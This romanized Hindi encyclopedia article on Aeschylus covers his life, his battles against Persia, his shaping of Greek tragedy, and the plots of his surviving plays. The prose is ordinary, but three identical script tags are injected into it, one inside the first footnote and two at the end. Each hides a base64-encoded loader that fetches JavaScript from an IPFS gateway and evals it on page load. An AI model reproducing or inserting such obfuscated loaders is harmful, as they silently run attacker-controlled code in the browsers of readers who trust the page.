ईसकिलस
eesakilas (ee.poo. 525-ee.poo. 456) yoonani bhasha ke prachinatam natakakar jinake natak is samay upalabdh haian. inaki apeksha prachinatar natakakar thaispis ka namamatr jnat hai par unaka koee natak nahian milata. inaka janm etheans ke samip ilyusis namak sthan mean ek sanbhraant parivar mean hua tha. eesakilas ne pharas ke sath honevale yuddhoan mean bhag liya tha aur artemisiyum, salamis aur platiya namak sthanoan par sangram kiya tha. marathan namak sthan par eesakilas aur usake do bhaiyoan ne aisa lokottar parakram pradarshit kiya ki etheans ne unake chitr aankit karane ka adesh diya. sirakoos ke raja hieran pratham ke nimantran par unhoanne do bar sirakoos ki yatra ki. ee.poo. 484mean unako pratham puraskar mila; ee.poo. 468 aur ee.poo. 458mean pun: unake natakoan par vijayopahar prapt hue. isake pashchath ee.poo.456 mean ve pun: sisili ki yatra par ge aur vahian unaki mrityu huee. kahate haian, akash mean u dati huee chil ke panjoan se chhootakar ek kachhua unake sir par gira jisake karan unaka pranaant hua. ek samay unapar ilyusis ki devi demetar ke rahasy ko udghatit kar dene ka aparadh aropit kiya gaya tha par ve apane ko isase mukt karane mean saphal ho ge.
eesakilas ne sarvapratham yoonani du:khaant natakoan ko unaka vishisht roop pradan kiya. aranbh mean yah natak dithiranb namak git ke roop mean prastut kie jate the. thaispis namak kalakar ne gayakamandali (koras) mean se ek patr ko prithakh abhineta ke roop mean prastut kiya. eesakilas ne ek doosare abhineta ki srishti kar git ko natak ke roop mean parinat kar diya. is prakar eesakilas du:khaantanatak (tragedi=traijedi) ke suvyavasthit roop ke janmadata mane jate haian. unhoanne 70 (athava ek any mat ke anusar 90) natakoan ki rachana ki thi. ajakal inamean se keval sat milate haian aur kuchh any natakoan ki bikhari huee panktiyaan yatratatr udhrit milati haian.
hikaitides (sharanarthini balaean) yooropiy sahity ka ajakal upalabdh honevala prachinatam natak mana jata hai. misr desh ke eegiptus aur danaus do bhaee rajy karate the. pratham bhaee ke 50 putr the aur doosare ke 50 putriyaan. eegiptus ke putr danaus ki putriyoan ke sath balath vivah karana chahate the parantu yah unaki ichchha ke viruddh bat thi. at: rajakumariyaan bhagakar apane pitasahit samudr par pailasgus ke argas namak rajy mean chali geean. yadyapi pailasgus unako sharan dene mean anakani karane lage tathapi argas ki praja ne apane matadan dvara unhean sharan dene ke lie vivash kar diya. isake uparaant eegiptus ke putroan ne unaka pichha kiya aur pailasgus ki sabha mean apane doot bheje. yadyapi unhoanne yuddh ki dhamaki di, tathapi pailasgus ne sharanarthiyoan ko lautana svikar nahian kiya. is katha ki poorti ke lie eesakilas ne 'eegipatii' aur 'danaides' namak do natak aur likhe the jo ab nahian milate. is prakar ke tin natakoan ke guchchhakoan ko 'trilogi' kaha jata tha.
'pairsae' namak natak mean salamis ke yuddh mean khairakhais aur usaki parasik sena ke parajay ka varnan hai. dariyus ke putr samrath khairakhais marathan nam sthan par yoonaniyoan dvara apane pita ki parajay ka pratikar karane ke lie dalabal sahit yoonan aur visheshakar etheans ko dand dene ke lie apane shatruoan par chadhaee karate haian. pharas ki rajadhani soosa mean rajamata atossa ko du:svapn dikhalaee dete haian. ve devapooja ki taiyari karati haian. kuchh samay pashchath yuddh mean parajit aur durvita dit sainik
aur khairakhais lautakar ghar ate haian. isakilas ne is natak ki rachana salamis ki vijay ke upalaksh mean ki thi. is natak mean platiya ke yuddh mean parasikoan ki parajay ki bhavishyavani bhi milati hai. eesakilas ko in yuddhoan ka pratyaksh anubhav tha. is natak ka abhinay etheansavasiyoan tatha any yoonaniyoan ko bahut priy tha.
'haipata aipi thebas' (thebes nagar par sat yoddhaoan ki chadhaee) mean laiyus aur eedipas ke shapagrast parivar ke vinash ka varnan hai. thebes ke raja eteokles ka bhaee poloneikes sat yoddhaoan ke sath thebes nagar par chadhaee karata hai, nagar ke satoan dvaroan par yuddh hota hai aur donoan bhaee paraspar yuddh karate hue mare jate haian. eedipas ke shapagrast parivar ki katha yoonani sahity mean atyant prasiddh hai.
'auresteiya' bhi ek any shapagrast parivar se sanbandh rakhanevale tin natakoan ki l di hai. yadyapi is prakar ke natakoan ke anek tritay (trilogiyaan) yoonani natakakaroan dvara rache ge the, par bhagy ki bat, unamean se, manoan udaharanasvaroop, eesakilas ki yahi trilogi is samay avashisht hai. isamean agamemhnanh, khaephoroe aur yoomenides, in tin natakoan ka samavesh hai. pratham natak mean tray ki vijay ke pashchath laute hue raja agamemhnan ki unaki patni dvara ki gee hatya ka varnan hai. doosare natak mean nirvasan se gupt roop se laute hue agamemhnan ke putr aurestes apane mitr pilades aur apani bahan elaiktra ki sahayata se apani mata ke jar igisthus ko apani mata ke sahit mar dalate haian. is par 'airiniyes' (sv-kul-ghat se utpann huee krityaean) unaka pichha karati haian aur ve unase tran pane ke lie bhagane lagate haian. tisare natak mean etheans nagar mean krityaoan ke shaman ka varnan hai. kuchh alochakoan ke mat mean yah eesakilas ki sarvashreshth rachana hai.
promethiyus daismotes (pramath bandhan) namak mean manavoan ko agni pradan karanevale promethiyus namak devata ko zeus (dyaus) ki ajna se shakasthan mean samudr ki ek chattan par kiloan se vij dit kar diya jata hai. parantu usake pran nahian nikalate. yah natak vicharapradhan hai. sheli ne is natak ka poorak 'promathiyus anabauand' namak natak aangreji bhasha mean likha hai. svayan eesakilas ne is vishay par tin natak likhe the par shesh do natak ab nahian milate. alochakoan ka kahana hai ki is natak mean yoonani tragedi ki kala moortimati ho uthi hai. in sat natakoan ke atirikt eesakilas ke bahut se natakoan ke nam aur bikhari huee panktiyaan yoonani sahity mean yatratatr milati haian.[1]
eesakilas ne du:khaant natak ke svaroop ko vyavasthit kiya. unako prabhavashali drishyoan aur aishvaryashali veshabhoosha se prem tha. unhoanne jin patroan ki srishti ki hai unamean se adhikaansh charitr sanbandhi mahatta aur shakti se samanvit hai. eeskilas ke natakoan mean samasamayik janasvatanty ki bhavana ubharati huee drishtigochar hoti hai.[2]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 42 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran-mool natak, sizavik dvara sanpadit, aauksaford ka sanskaran. aangreji anuvad sahit laeb klasikal laibreri ka sanskaran, do jildoan mean (viyar smith dvara sanpadit evan anoodit); gilabart mare ke padyanuvad bhi achchhe mane jate haian. samalochana, gilabat mare: aiansheant grik litarachar, eesakilas; naurvud: raitars aaun gris; baura: aiansheant grik litarechar ityadi.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>